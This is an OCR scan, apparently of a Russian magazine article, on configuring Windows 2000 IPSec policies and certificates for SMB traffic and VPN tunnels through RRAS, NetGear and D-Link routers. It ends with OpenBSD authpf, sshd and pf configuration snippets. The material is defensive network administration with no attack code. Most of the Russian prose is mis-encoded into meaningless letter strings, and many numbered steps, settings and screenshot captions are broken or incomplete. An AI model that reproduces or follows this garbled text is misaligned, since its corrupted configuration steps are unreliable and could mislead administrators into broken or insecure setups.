AOGOATOEOEEAOEE, TTIAXAR
EAZAUE EC TEO E TAZEETAR REMOVE
E YES ATTRAEAATNR TETA.

o TTAOT
AOTD

OTBRAZU YOO TOTOAAODO AER
TAT OEEUODA (NETB — NETA).

fagoeoeeaca aéy IPSec 6 fai TTéa 7ao.

1NETITUPOAPA, TAETOTDT 1 ODAAO-

AONR ONOATTAEOU NADOEOEEAOU,

A AAPDANTTE NODTEA TAAEPAAGU:
HTTP://IP_OATOPA_NADO/CERTSRV.

2 AUAEDAA@U REQUEST A CERTIFICATE

E £T1AQU NEXT.

3 AUAEPAAU ADVANCED REQUEST
E £TAU NEXT.

4 AUAEPAA@U SUBMIT A CERTIFICATE
REQUEST TO THIS CA USING A FORM
E £1AU NEXT.
5 OEACUAAAZU TAPATAOPU CATPTNA.
EC TARCAOAEUTTAT INTENDED PURPOSE
AUAEPAA@U IPSEC CERTIFICATE
(TTATT TNOAAEOU E CLIENT
AUTHENTICATION CERTIFICATE, TAEANOU
AAT TDETATATER ATEAA GEDTEAR).
6 AUAEPAAU TTOEP USE LOCAL
MACHINE STORE, TAZEETAAGU
TA SUBMIT E YES.
AagiiTaéoed adénoaey a0TTeypony Ta éTiTipoa-
danonocarTacarial 6aTnoTaasypuiei 6aiodTi:
7 EC TATEE ADMINISTRATIVE TOOLS TOE-
DUAAAGU TNTANOEO CERTIFICATION
AUTHORITY.

8 TOEDUAAAGU AADAAT ETINTEE, TA-

PENDING REQUESTS.

o ATPAATE TATAEE TAOTAE®U CATDTN
TA TA@ NADOEOEEAOQ, TA TAT TPAAUE
EEEE, ALL TASKS E ISSUE.

Home [ CUELTED

15

Tools Status

aim Satting

Tunnel Name L8044\ 2has
Aggressive Mode [CIEnable
Local Subnet 1821653200
Local Netmask 2562552550 |
Remole Subnel 182165100
Remote Metmask 266 265 2560
Remote Gateway 101011
IKE Keep Allve 182468405
{Ping IP Address)
Preshare Key sssenen
Exended Authenlication T Enable
{(RALUTH)

Semver mode

Clisnt mode

TanosTééa DI-804HV
i 9 A A Aas - 1 TATb START, AAEAA RUN, TAAEDAAGU

O&Tad0 fi eTTTUP0&da, fi ETOTOTAT A&J0eOE8ad ¢car-

PO 2

dageaaény, 1TelT adT TTe6

@001, Ay YOTAT: SECPOL.MSC E TAZETAAQU ENTER.

2 TDAAUE EEEE TA IP SECURITY POLI-

10 NETTTUPOAPA, TAETOTDT1 0PAAO- CIES ON LOCAL MACHINE, AAEAA EEEE
AONR ONOATTAEOU NADOEOEEAO, A AA- CREATE IP SECURITY POLICY.

PANTTE NOPTEA TAAEPAAGGUL: | N
HTTP:/IP_OATODA_NADO/CERTSRV. ° EEEEAAGU NEXT.

11 AUAEDAAQGU CHECK ON A PENDING
CERTIFICATE, AAEAA NEXT.

4 TE@GAQU ETR TTATE TTEEOEEE, TAT-
DETAD «IPSEC FOR FILE SERVER», NEXT.

12 A TETA PLEASE SELECT 5 NTETAAQU AAEEO ACTIVATE THE DEFAULT

THE CERTIFICATE RE

E AUAEDAA@U INSTALL THIS
CERTIFICATE, ATETA TAEETAAQU YES.

QUEST YOU WANT

~x~0

Taeou IPSec-iTa-

Téeal TTaryouny fi acoaioeoe- 1
ATTITAUP NadoeOeeanTa. TATA

>  0BATNTTA0TOE BAxed. fibATadeé 2. TAANTA- ATE OT. TATPETAD,
+&1 peddTaared 0dadeéa 1axa6 6aééTan fias- TDEOTAEETNU NOAEEEAAOUNR
430671 € éTITUpoAdaT e 4 6TEABUTTE fidoe, enTTéu- N NEOOAOEAE, ETAAA TDAATEGAOER,
¢Oy IPSec & 03aTATTOOTTT ddzeTa. ETOTDTE OPAATAAENR ATNOOT

Aey OaéeTaTaT adadda dacédoe oeodT- ATEUTAT xENEA NTODOATEETA
aafiaé 0dadeé 1a TCP/139 & TCP/445 TT800 & Ta- E OATOPAEUTT 10 NADAADO, TDETADAEA
2eddTAAT 104 a0Taytied ICMP-Taéa00. Adfu TA- TT DAETTATAAOEE TTNOAAUEEA

€ 08a0eé cardace.
Tafi0daeaaé OAEET
4aMu Te+a4T 14 10l T, TT

TATDOATAATER AANUTA TA AAGAAGP
(xO00U TATAA $2000) AZAEACEO ZYXEL
ZYWALL 70W EE, TA TTAAADAEAAPUOP
L2TP/IPSEC
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9 TACUOAAA@U OEEUOD INBOUND SMB

E TAEETAA@U ADD.

10 A SOURCE ADDRESS AUAEDAAGU

A SPECIFIC IP SUBNET E TEGA@U AAPAN
ADDRESS OEAGCUAAA@U IP_OAEE.NADAA-
PA. TNOAAERADU TTOEP MIRRORED.
ALSO MATCH PACKETS WITH THE EXACT
OPPOSITE SOURCE AND DESTINATION
ADDRESSES.

11 TA CAEEAAEA PROTOCOL AUAEDAAZU
OET TDTOTETEA TCP N EPATAT TTDOA
TA139E £1AU TE.

12 TAAETAA@U ADD.

13 A SOURCE ADDRESS AUAEPAAZU

A SPECIFIC IP SUBNET E TEGA@U AADAN
E TANEO AER NAOE «A», A DESTINATION
ADDRESS OEACUAAA@U MY IP ADDRESS.
TNOAAERAZU TTOEP MIRRORED. ALSO
MATCH PACKETS WITH THE EXACT OPPO-
SITE SOURCE AND DESTINATION
ADDRESSES.

14 TA CAEEAAEA PROTOCOL AUAEDAAGU
OET TDTOTETEA TCP N EPATAT TTDPOA
TA 445 E £1A0U TE.

15 CAEDUAAAGU IP FILTER LIST, TAEE-
TAR CLOSE.

16 TA CAEEAAEA IP FILTER LIST AUAEDPAAGU

OTEUET xOT NTCAATTUE INBOUND SMB.

17 TA GAEEAAEA AUTHENTICATION
METHOD AUAEDAAGU TAOTA AGOATOE-

TTAT ATTATA, ANOANOAATTT, TNOAA-
ERAU KERBEROS, ANEE ANOU OATNOT-

USE CERTIFICATE, ATDTOEATT1 NEO-
xAA TTEUCOAUNR PRESHARED KEY).

18 TA CAEEAAEA FILTER ACTION AUAEDA-
AU REQUIRE SECURITY — EDIT.

19 OAEPAAGU (ANEE ONOATTAEATA) TT-
OEP ACCEPT UNSECURED COMMUNICA-
TION, BUT ALWAYS RESPOND USING
IPSEC E TAEETAADU OK, AAEAA CLOSE.
20 A NTENEA TPAAEE TAZETAAGU ADDA
E AUAEPAA@GU ALL ICMP TRAFFIC.

21 TA CAEEAAEA AUTHENTICATION
METHOD AUAEDAA@U OAETE £A TAOTA,
EAE ATOITEOA 17.

22 TA CAEEAAEA FILTER ACTION AUAEDA-
AU PERMIT E TAZETAAGU OK.

23 A NTENEA TPAAEE TIROU TAEETA-
AU ADD, AUAEPAAGU ALL IP TRAFFIC.

24 TA CAEEAAEA AUTHENTICATION
METHOD AUAEDAA@U OAETE £A TAOTA,
EAE ATOTEOA 17.

25 TA CAEEAAEA FILTER ACTION TAZE-
TAA@U ADD.

26 A SECURITY METHOD AUAEPAAGU
BLOCK, TADAOTAEQ@U TA CAEEAAEO
GENERAL E TEGA@U OAT BLOCK TRAF-
FIC, TAZETAAZU TA OK.

27 ATETQDEA FILTER ACTION AUAEDA-
AU BLOCK TRAFFIC E CLOSE.

N A~ 2 oo

y&ofy, & ToeTATypony Tié TT Ardoede+iThoe. OT
fiol anée TTéa0 adTaytied ICMP-Taéaoq, NdadToa-
40 T8a4&€ET Allow ICMP traffic € 0.4.

i 1aip — Assign.

Téé T4dacaronéadsi

Agy ToeTar
fédzead IPSec:

net stop policyagent

net start policyagent

Taf00aeaddmll IPSec-TTER0E0 Ta GERATONETT
ET1TUP0AdA (BanTETAOdATEO! TTEE0EE) Ta a4d0dead
Tageil 1TelT 64T +adac¢ 400TTTa0p TTEC0e80,
anee anou ATTAaf, eeaT +adac TiiTanoéd Security
Templates € yeiTTo0 TTEE0e8):

1 TATP START, AAEAA RUN, TAAEDAAGU
SECPOL.MSC E TAEETAAQU ENTER.

2 TPAAUE EEEE TA IP SECURITY POLI-
CIES ON LOCAL MACHINE, AAEAA EEEE
CREATE IP SECURITY POLICY.

4+ TE@GAU ETR TTATE TTEEOEEE, TAT-
DETAD «IPSEC FOR FILE SERVER», EEE-
EAADU NEXT.

5 OAEDAAGU TTOEP ACTIVATE THE
DEFAULT RESPONSE RULE — NEXT.

6 TNOAAERA@U TTOEP EDIT PROPER-

7 ATAAAERA@U TDAAEET IPSEC, ADD.

9 TACUAAA@U OEEUOD OUTBOUND SMB

E TAZETAAQU ADD.

10 A SOURCE ADDRESS OEACUAAAQZU

MY IP ADDRESS, A DESTINATION ADDRESS
OEACUAAADU IP_OAEE.NAPAAPA. TN-
OAAERAZU TTOEP MIRRORED. ALSO
MATCH PACKETS WITH THE EXACT OPPO-
SITE SOURCE AND DESTINATION
ADDRESSES.

11 TA CAEEAAEA PROTOCOL AUAEPAABU
OET TDTOTETEA TCP N EPATAT TTPDOA
TA139E £1AU TE.

12 TAEETAAGU ADD.

13 A SOURCE ADDRESS OEACUAAABU

MY IP ADDRESS, A DESTINATION ADDRESS
OEAGCUAAAZU IP_OAEE.NADAADPA. TN-
OAAERAZU TTOEP MIRRORED. ALSO
MATCH PACKETS WITH THE EXACT OPPO-
SITE SOURCE AND DESTINATION
ADDRESSES.

14 TA GAEEAAEA PROTOCOL AUAEDAAGU
OET TDTOTETEA TCP N EPATAT TTDPOA
TA 445 E £1A0 TE.

15 CAEDUAAAQIU IP FILTER LIST,
TAZETAR CLOSE.

16 TA CAEEAAEA IP FILTER LIST AUAEDA-
AU OTEUET x0T NTCAATIUE
OUTBOUND SMB.

17 TA CAEEAAEA AUTHENTICATION

METHOD ATAAAERAGU AUAPATTUE

18 TA CAEEAAEA FILTER ACTION AUAEDA-
AU REQUEST SECURITY (OPTIONAL).

19 CAEDPUAAAGU ANA TETQDEE, TAGCTA-
xAA@U TOPAAAEOEDTAATTOP TTEEOE-
EO E TADACATONEAAZU NEOAEAO IPSEC.

Aéy TOTaAd8e TOAAGEUTTROS ETTOSA0dA0EE TOMeA-
il ping 4T 1403404 (TT ATE2AT TOTE0), CAd&T Toé-
d0iaadwli ~adac 1aip Start - Run — \\ip_0Oaée.nas-

0800, TTiT 4

ATTélcTaao0lny 60eeedTé ipsecmon &

Taton Wew [[= = Em A EE @ EEH D

| Beseription

| Pebey assigried |

Tree | Haame:
[ Security Settings: B et (Respond only)
7 (2 Accourt Polcies @

m Secure Server (Require Security)

1] Local Poioes
B Sevver (Roquest Seourity)

#1-[ 7] public Kay Folicies
= B 1P Security Polces on

Cormmurscsbe normally (unsecured), Use the def...  No

fesign

recpae s=orily using K. Mo
cmky using B, Mo




Home Advanced Tools Status m
VPN stafﬁs display VPN connection state,
[ Retresh | [ P setting... |
Remote Network Local Metwark
Name IP Address! o sidrecsl  Type State L& mon
Subnat Maskf Subnat Mask Time
Bateway
192.168.10.0/
DIB04-Wakas 2652562560/ Lo2 102000 £optunnel IKE established 888 [Orop
101011 e —
VPN Status

00TEy OTdT, ~0T
TaBaol @e630poiy. TeeaéTeé 4564T¢ 00208 T
72138339, ié fi 1adaada ToTOTae0l T4 ATExaT.

ToaaTTea3a41, +0T OaéeTalé Nadaas 1a 1da-
7arde1ad nasaena
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&T R0araado 0o ATTOTATA. Toéoaa Agyoi &

anée 0da0eé aaTadeds6aony eTiTupoad
IP-aadanaie, Toéiaacdeatieie daciai faoy, éa-
&T¢é aadan TTanoaaeony a éa+anoaa efoT+reea?
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éfiT). Ange é 4604aéfi6 ToeaycaiT
240aMTa, aeaelT, atiaedaaony oo, eToTd0é
464xe0 0Té ®4 face, 0T & wépc (ITadTaiaa
& http://support.microsoft.com/kb/175396/en-us).

Anata figdacprieé: 1anodTeol IPSec-061 1460
anoaiadee 30aé, +0Tal 4l 0da0eé TSTETaee +adag
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240Ny — & Bae fivarasey 1 TeiT
(GTAA0UMY TOTOTETETT 001 1aéedTaaiey L2TP,

eI TElcOA0 TOTOTETE PPP 46y eféariioeyoee
00 & TOTOTETE IPSec 48y péddTaaTey. ATo 6aé

TTE0A0T00 IP-a40aMTa 48y 6AAEATTG0 ETTOTA 001-
T4ey. A &fiee a408n TAIT
AOTOTT 1ATYA0AY (0T &ndll A0AAA0RY Ae TaT e+afiee &
Gacale dac dacide, Tarde140 Tde aTHooTa e aTia
a TOSR +484¢ dial-up ATA&ETATEA) f0ATAAd0TOT e
fidaanoaai e Windows IPSec-001 Tagu fa TThodTe s,
To4aTR0AART 04aBATTOE ATROOT é faoe +adac
L2TP-/IPsec-iTaaeiaied aey aaiiTar noaiadey.

Tanodagaadl fedead RRAS 1a iddadda:

1 TATP START —» PROGRAMS -
ADMINISTRATIVE TOOLS - ROUTING
AND REMOTE ACCESS.

2 TA TACAATEE ETITUPOADPA TPAAUE
EEEE, CONFIGURE AND ENABLE ROUTING
AND REMOTE ACCESS.

3 ANEAAOPUAT TETQEA NEXT.
+ AAEAA AOUAEPAAGU MANUALLY

7 TOEDUAAAGU ARDAAT TA TDAATE
TATAEE, TAZETAR TEPNEE TATDTOEA
TACAATER NADAADPA.

AAEAA PROPERTIES.

9 AUAEPAAGU WAN MINIPORT (PPTP),
TAZETAA@U CONFIGURE.

10 OAEPAAZU TTOEE REMOTE ACCESS
CONNECTIONS (INBOUND ONLY)

E DEMAND-DIAL ROUTING CONNECTIONS
(INBOUND AND OUTBOUND).

AAEAA OK E YES.

17

12 AUAEPAA@GU DIRECT PARALLEL,
TAZETAAQU CONFIGURE.

13 OAEPAAGU TTOEP DEMAND-DIAL
ROUTING CONNECTIONS (INBOUND AND
OUTBOUND) E TAZETAADU OK.

14 AUAEPAA@U WAN MINIPORT (L2TP),
TAZETAAGU CONFIGURE.

15 OAEPAA@U TTOEP DEMAND-DIAL
ROUTING CONNECTIONS (INBOUND AND
OUTBOUND).

TATAOTAETTA ETEEXANOAT TTH-
OTA(TETETOT 1), AAEAA OK E OK.

17 AETINTEE OTDAAEATER TPAAUE
EEEE TA TACAATEE ETTITUPOADA, AA-
EAA PROPERTIES.

18 TA GAEEAAEA GENERAL AUAEDAAGU
LOCAL AREA NETWORK (LAN) ROUTING ONLY.
19 TA CAEEAAEA IP AUAEPAAGU STATIC
IP ADDRESS POOL E OEACUAAAGU AEA-

AAPANA (A AEATACTT ATEATU AOT-
AEOU TETETOT 2 AADANA). ANOANOAAT -
IT, xOTAU OAAEATITIO TTEUGCTAAOA-
Ep AOEE ATNOOTTU pANOBNU NAOE

20 TAEETAAQU OK E YES, NTAEAGARNU
N TADACAADOCETE NEOAAU.

a T TTé6+e0l Nadoeoeéao aey IPSec
N A A 8 Xl 8 A~ 58 CAXA AATAAA 8KAN A KA xAS
ec 6aThoTaddyp IddT 6airooa, EToTo0é afiol a fireféa
i i - A

TTAEEP<ATEE, TAZETAR CREATE
A NEW CONNECTIONS.
3 TAEETAAQU NEXT.

4+ AUAEPAA@U CONNECT TO THE
NETWORK AT MY WORKPLACE E
TAZETAAGU NEXT.

s AUAEDAA@U VIRTUAL PRIVATE
NETWORK CONNECTION — NEXT.

6 AAEAA TEDADU TACAATEA TTAEEP-
xATER, TATDETAD OFFICE_NET_VPN.

7 OEACUAAAZU, TOATT EE TAPAANTC-

NTAAETATEA. E, ANEE TOATT, OT EA-



18 GAUEOA OxARNOEA NTAO 11-06

ETA (TATPETAD, ANEE O NTODOATEEA
ATTA TAAUAAEATTAR EETER, ATT-
AAT TUE ATNOOT), TAEETAAGU NEXT.
8 OEACUAAAQU IP_G_ATAD, TAEETA-
AU NEXT E FINISH.
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[ECEEGEVEED
aaefarey +4dac RRAS. A ToTR0&é@al figo+ad
4300 02664 10244 1T T, 8626104 A TATAM084 Local

.

Users and Computers (afiéé &Tiai Active Directory

Users and Computers) 6+30T6p ¢arefil TTEICTAA0aEY
€ adadaa fa caéeaaéa Dial-in Troep Allow Access.

ay 1a caééaads Details, TTelT TOTETIOOTES-
&Taaol Tadaiaodd itaaeraiey.
x0Ta0 T4 4Taaaéyou 4 vadeesd 1adadooecasee
1 +ap Gl 6aaéaiiaé &TROOT,
Té+aiep, 16T TdTecaanoe nea-
aopuied Taferogyoee: T8aa0¢ 66eé Ta ¢ia+éa 1Taé-
ep+aiey, Ta caééaasd Networking a0adaou Internet Pro-
tocol (TCP/IP), 43644 Properties, 4aé4& Advanced & 6a-
daol Troep Use Default Gateway on Remote Network.

> TanodTééa NetGear ProSafe FVS114. IPSec —

PPN

yOT T8T1 0@éaiideé idaiaadd. Cia+eo, ddasecasee

Eéépcey catiedn
Te+44T T4 @14y ToT0ea
IP Security, 6T0aé ad
Tadaoeoi areiaied

fa eéépcep caueoq,
8TOTA6p ATCAAR0 YOT

TO AAGTAEATUO TDTAPAT
E CAEAT*EAAR EPATEET

ETITUPOADTUT AAEACT

YOTaT fivafaadoa dacial e ToTecaATae0dey 1 e aTéz-
70 ONTAZ T Acae 1 TA4éM0aTaaol 1a®as itare. 167-
aadeT yoT, «TITadbeed» 46y Ta+aéa Windows 2000
Server & 1a0@0060e¢adTo fi eTé

i TTa4d0xéTé VPN —
ProSafe VPN Firewall FVS114 T0 Netgear.
Nayeedi 6 fi TTi TUiip IPSec & 84x&T14 00i-

gep-a.

Tafodaeaadsii Windows 2000 Server 0T+iT
046 =4, aé BaTA4, T4 caad Gaayhl, +0T i ad6aTé
AOTSTTO IPSec-061Ta&y. O
1 (0]

T afou ifa+aéa iTcaadai

i
Tardadéaneé 0d6adeea, facia+adoil yod TTéeoess e
ficace+aneeé 12828060 &

CaoaT EeaT aTaaaeyaai

Tafiodaeaadony +ad
6iTé+aiép IP-a4dafi 6TEABUTTAT eT0ad0a&éfa —
192.168.0.1, 6-a07ay caTefl asy aaleienose
ey — admin i TadTEAT password (T&0a0T 43ETT Ta-

STEUTT 01 Té+aiep TATA6Tae i T TT1aiyol).

+ TATP START —» RUN E TE@AGU
HTTP://192.168.0.1/BASICSETTING.HTM
(xOTAU CAEOE TA YOTO ETOADOAEN,
00 ATEAAT TPETAAEAZAAOU NAOE
192.168.0.0/24).

2 ATETA BASIC SETTINGS AATAEQU IP-

Edeoe+T0é & 740402200
00408 86+2a andaT
TOMBaol TT Bece+aiée
catietiaf 101 éafaeal
fiayce, 434 IPSec 1a 16-

AT 117486 fie6+ayo IPSec
Aaeed N0 T 088640 A0aE0,

®&T. OndaiTaéa IPSec
fa fdcacietiaiiaa éa-
fael nayce dazado
TOTaBaT 6 1

E DNS NADAAPA AER ATAG TAAT ETO0AD-
OAENA, TAZETAADU TA APPLY.

E TANOPAEAAAGU IP-AADAN
(IP_FVS_ATOO) E TANEO TA ETEAEUITI
ETOADPOAENA. ANEE ECTATEQU ET-
EAEUTUE AADPAN, OT ATNOOT E WEB-ET-
OADOAENG, ANOANOAATIT, THTTAAAD,
E TOATT AOAAO ECTATEOU URL TATT-
AUE (HTTP://IP_FVS_ATOO/BASICSET-
TING.HTM). TBE YOT I O OAAR ATEEAT
AUOU TANODTAT IP-AAPAN, AOTARUEE
A TTAOP ETAEXANEOP NAOU.

E £1A0 NEXT.
s CAAAA@U ETR NTAAETATER E TPAATT-

DAAAEATTUE EEbx (PRE-SHARED KEY).

6 TNOAAERAGU TTOEP A REMOTE VPN
GATEWAY E TAZETAAGU NEXT.

7 OEACUAAABU IP-AADAN OAAEATTTAT
ETTOA OOTTAER IP_W2KS_ATAD

E £T1AU NEXT.

8 OEACUAAA@U IP-AAPAN E TANEO
OAAEATITE NAOE («A») E £TAU NEXT.

o ANEAAOPUAT TETA £T1AU DONE.

olicies € VPN Policies

04 1aTihiTaa aairiao,

Status 1a FVS114 aeait 6o
6ee AAcTraniThoe. E 00 46y TAiT

Tafey (TT TATTE 487 IPSec-00a0864 & famaTl
saacATee & Tafa — a8y IKE).

> D-Link DI-804HV. 0&T&80 & yoT1 @4 fidaTadee
gaiaiei FVS114 ia DI-804HV.

O 1T448e 804HV 140 1af0&da iTcaarey VPN-
fitaaéraiey, éaé a FvVS114, é 130 T0aaTIdaaaeai1ao
40077 Tan0dTaeé, éaé a Windows-iieod ad. Tadaiaoda
IPSec- & IKE-NTaaeiaiey 10eiT 44Taéou 486+16p.
TTAATOTARTAY 6 yOT10 & TTRITOAE T, 8aded 140Tad
A3cTTaniThoé 1anodTaia a Windows 2000 Server.

x0TAO TTATTOBA00U & TodaaaéoedTaaol rada-
140080 48y IKE, a fiefodi ad Windows 16&iT:

1 TATP START —» RUN —» SECPOL.MSC

E TAZEETAAGU ENTER.

2 AUAEPAA@ZU IP SECURITY POLICIES ON
LOCAL MACHINE, AAEAA AATETTE EEEE
TATOATTE TTEEOEEA E TADAOTAEQDU
TA CAEEAAEO GENERAL, AAEAA
ADVANCEDA E METHODSA.

Toid+adali T

T8a48a3a40My 46y IKE-iTagert

o

iey:



1 AEATPEOT OEODPTAATER 3DES.

2 AEATDEOT OAETNOTTNOE SHAL.

3 ADOTTA AEOOE-OAETATA NDPAATRR (2).

4 NPTE £ECITE EEPxA — 480 TETOO.
*x0Tal TTATT08400 & TO0aAaaé0edTAaaol Tadai aodn
aéy IPSec, 1621 T:

1 TATP START, AAEAA RUN, TAAEDAAGU
SECPOL.MSC E TAZETAAQU ENTER.

2 AUAEPAAGU IP SECURITY POLICIES ON
LOCAL MACHINE, AAEAA AATETTE EEEE
TATTEEOEEA, A NTENEA TPAAEE TA
TOETTI— AATETTE EEEE.

3 TA CAEEAAEA FILTER ACTION AATE-
DOADU.

TraniThoe, éToToaé
arey:

Toi4+a4oi T40a0é T40T4 44CT
TOA&EAAAR0NY A8Y IPSec-iTa&eT,
1 ETEATNOEROER AH — TAO.
2 ETEATNOEROER ESP — ANOU.
A) JEOPTAATEA 3DES
A) OAETNOTTRNOU SHA1
3 AATADEDPTAAOU TTAUE EEPx xADAC

10 Tada0ese afeiared fa 140740, TAGTAYCISARAY
i 0 ITce6eys @ a IKE, & & IPSec, 0aé 836 Tie
AGTTAMTO& (3DES fieéliTad DES, A SHAL —
fie&iiTad MD5). Afiée A T4 TOTECATAOAEN TTHO,
TT@IT a046200 450364 T40TAD.

O&TA00 TOROTAE & TafodTééa DI-804HV (AT fAoT-

TT10 Windows 2000 Server ieéaéed éciaiaieé ra 1oi-
ecartaeal):

1 TATP START - RUN E TEGAGU
HTTP://192.168.0.1/ (xOTAU CAEOE TA
YOTO ETOAPOAEN, 00U ATEAAT TDE-
TAAEAZAOU NAOE 192.168.0.0/24). EIR
TTEUCTAAOAER — ADMIN, TADTEU —
TONOTE (TAAT 000 £A ONOATTAEOU AAT).
2 AUAEPAA@U TANODTEEO WAN E AAT-
AE@U IP-AAPAN (IP_DLINK_ATA@), TAN-
EO, JEPC E DNS NADAADA AER ATAD-
TAAT ETOADOAENA E TAEETAAQU

TA APPLY.

3 AUAEPAAGU TANODTEEO LAN E TANO-
DAEAAADU IP-AADAN (IP_DLINK_ATOO0)

E TANEO TAETEAEUTTI ETOADOAENA.
ANEE ECTATEQU ETEAEUTUE AAPANR,
OT ATNOOT E WEB-ETOADOAENO THTTA-
AARO, E TOETT AOAAO ECTATEOU URL
TA TTAUE (HTTP://IP_DLINK_ATO0),

TPE YOT T ATEZAAT AUOU TANODTAT
IP-AAPAN, AOTARUEE A TTAOP
ETAExANEOP NAOU.

4 AUAEPAAGU TANODPTEEO VPN.

5 AEEPxAAGU ATCTTATTNOU VPN,
AUAEDPAR TITOEP VPN ENABLE.

s AAA@U TACAATEA OOTTAEDP,
TATPETAD DI804-W2KAS.

7 TAOTA TNOAAERAGU IKE,
TAZETAADU MORE.

8 AATAEQU:
A) LOCAL SUBNET — AAPAN NAOE «A»,

A) REMOTE GATEWAY — IP_W2KS_ATA®,
A) IKE KEEP ALIVE — TDTECATEUTUE
AAPAN EC NAOE «A»,

A) PRESHARED KEY — PASSWORD.

9 TAEETAAQU APPLY E TTNEA DANOAD-
OA TATDOATAATER AUAEDPAAGU
SELECT IKE PROPOSAL.

10 AATAE@U:

A) PROPOSAL NAME — METHOD1,

A) DH GROUP — GROUP2,

A) ENCRYPT ALGORITHM — 3DES,

A) AUTH ALGORITHM — SHA1,

A) LIFE TIME — 28800 (480,
OTTTAEATITA TA60).

11 TBETATRAQGU ECTATATEA,
TAZETAR APPLY.

12 AOAEDAA@U PROPOSAL ID 1,
TAZETAA@U ADD TO, AAEAA APPLY,
CAOAT BACK.

13 AUAEDAA@U SELECT

IPSEC PROPOSAL.

14 AATAEQDU:

A) PROPOSAL NAME — METHOD1,

A) DH GROUP — NONE,

A) ENCAP PROTOCOL — ESP,

A) ENCRYPT ALGORITHM — 3DES,

A) AUTH ALGORITHM — SHAL,

A) LIFE TIME — 900.

15 TDETATRAGU ECTATATEA, TAEE-
TAR APPLY.

16 AUAEPAA@U PROPOSAL ID 1,
TAZETAAQU ADD TO, AAEAA APPLY,
CAOAT BACK.

7ed IPSec-00Tiaey

T TTA1T08A00 6Ta-0aéeq, Ta caé-
ip Logs e VPN Status.

TORAAHATTO0 T8 TABTA aTéeiT 400U 4TH0A-

T OTAT, ~0TA0 TafnodTeol IPSec Ta épaTi

T2028608¢A0THA. 048 0T 1Te-

aarép ¢©
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AETATExANETA ECTATATEA TDAAEE OAEDATEA

ENTTEUCTAATEA AGOATOEOEEAGETIIT

CAPAAENODEDTAAAGAATNR TT SSH TTEUCTAAOAER. OEODTNOU CAEEPXAAONR A OTT,
x0T A CAAENET TNOE TO AAAAATTUO ETAETA E TADTER TA BEPCA AOAOO ANOOTAOU
ANEEO TADNTTAEUTUA TPAAEEA OAEDATEA

andrushock@real.xakep.ru

0aéTé 1adaieci 8aaToO TO0EAGAado TTenoeia
4acadare+10é TOTNOTS 46y 1TTedoa dawaé daioa-
cée: Todarecacey Tadaie+~aiiTaT eée TTeiTar ai-
fiodTaaer 0
iaé» o1 a8TITcaéed é 14 aNddaa Taadei04a éTTN0d0EGEe Agy o 0 aTanaiTiaa eciaraiey anoo-
UDP-08a0&éa, a 0aéza TOTAdAATEd adaeoa ia daca FreeRadius, MySQL/Post-greSQL, mpd/ Teéée afieéo &1 T 4400 6éacaied 441 TIO0 Ta-
fagedTaareai eiai 1TelcTaandeaé ¢ addiaie éd poptop e 0 83+&0a0l NaTé ETiO&A:
adoaioedecacee. N TTYAe&Tilu ATATEUTT yedsa-
ITaiTi 6 ddéfoae 4 aiee # kill -HUP “sed g /var/run/sshd.pid™

TTEUCTAA0ACUNETAT 0dabeéa — Tafa ec TAITATAG  TaBaoi T
TOTAEaT, i eTOTHTE fivagéedapony Tde Tédaieca-  authpf. 0&T&d1, éaeé 0TeueT authpf TTE6+&0 fiedTaé SIGINT
A A s A e84 X8AA A M A8 ey AmAnS A8 8 A8 MAAS pmc XA NXE AL R FAC mAEAZwx A 8 e n N 238 TN A A N A KA S T
oee atiagiaé nace. Eaxealé aatiaio, aéadap- ieoaéliTa NdaanoaT aey dacddaie+aiey arthodra eée SIGTERM, ssh-fiafifiey adoaioedededTaa

Qeéé ATTETATI TTATai0 IP- € MAC-a4dana, 0aé €  a802.3/802.11 fidoys. TTEUCTAA0A8Y cadddaeony aTéeitl TAdacT1, T4
1TOTae0 Nea+aol Tado-00TE80 dédadaéo eioToia- = T iTTe6e6edTaai 104 «808andol» 40460 6TOBAEOTT
ATAA&A. Eaé TOAARET, ef- 0 A

\\\\\ Qxamg

TAa fivaoe+anéTé arp-oaa-

xedaied ATar0 aadana

>  063480pda é TATTATTIO 44éfivaep. Catieoa 10iTad
Tal

Tea ATROTYTey iTaaeTareé a caace-

aéoarea.
uthpf. Authpf T8aan0aaéyao
ET0Tday Tacia+adony TTelcTaacdép fef-
1044 login shell (¢aréni /usr/shin/authpf

o

Qo




&
# DaaToadl n enTTélgTaaTedl ToTOTETETA IPv4 & ssh2
AddressFamily inet

Protocol 2

# Teeaddi TTaéép+aiey TT ARdl ATAOOTTOT AA0AANT eT10&d0aénail
ListenAddress 0.0.0.0

# Cardatadil 6adenodacep root"a & ToeT1aTaied ToMotd TadTedé
PermitRootLogin no

PermitEmptyPasswords no

# Ca f+a0 enATTélcTaairey TOTOTETEA ssh2 & yoed &4aod Troeé oneé
TdTAadaarea aoaé oéra ARP- e IP-spoofing

ClientAlivelnterval 15

ClientAliveCountMax 3

# Toéép+a&i DNS-8AcTeaeia

UseDNS no

# Trodadeyai nrenée &TiodTey ATAOOTTI

AllowGroups wheel users authpf

@
# TTaéep+adi 1ddaieci yéToaé

nat-anchor "authpf/*"

rdr-anchor "authpf/*"

binat-anchor "authpf/*"

=)
m
=)

# DAcOArAAl & 5AHAGAOBES6AT ATROOT é sshd (22/tcp), T4 Tofeameaay
ATROTY Ted (ACAAAAT/NASToAT) TCP-08aATA (86p+AATA METAT

"flags S/SA™ TOR60MN0a6a0)
pass in log on $ext_if inet proto tcp to $ext_if port ssh keep state

P

# Caéep+e0asluiTa ToadeeT
anchor "authpf/*"

# vi /etc/authpf/users/andrushock/authpf.rules| 3)

# Caaaai iaésrnd
ext_if = "fxpo"”
int_if = "fxpl"”

# TdTecataeil odaineyoep nacdald aadanTa
nat pass on $ext_if inet from $user_ip to any -> ($ext_if)
# TAANTA+2AA41 Tapdid e6eAT006 TTE6+AaTed HighlD Ta épaTi eDonkey-fadaddd
rdr pass on $ext_if inet proto tcp from any to any port 4661 -> $user_ip
rdr pass on $ext_if inet proto tcp from any to any port 4662 -> $user_ip
rdr pass on $ext_if inet proto udp from any to any port 4665 -> $user_ip
rdr pass on $ext_if inet proto udp from any to any port 4672 -> $user_ip
# TOAaTNOAAEYAT ATROOT é Ttp-proxy
rdr pass on $int_if inet proto tcp from $user_ip to any \

port = ftp -> 127.0.0.1 port 8021

# vi /etc/authpf/users/rdp/authpf.rules| 4)

# ATagieé naodaté eirodsoaén
ext_if = "fxpo"”

# IP-aadan nasaasda oddieiaeta
rdp_server = "192.168.1.100"

Ana ~~ ~mQ N 9 = c~

# TAd4aa0anTanaadil adTayued RDP-fiTadeiaiey fa fadadd cddieraeTa:
rdr on $ext_if inet proto tcp from $user_ip to $ext_if \
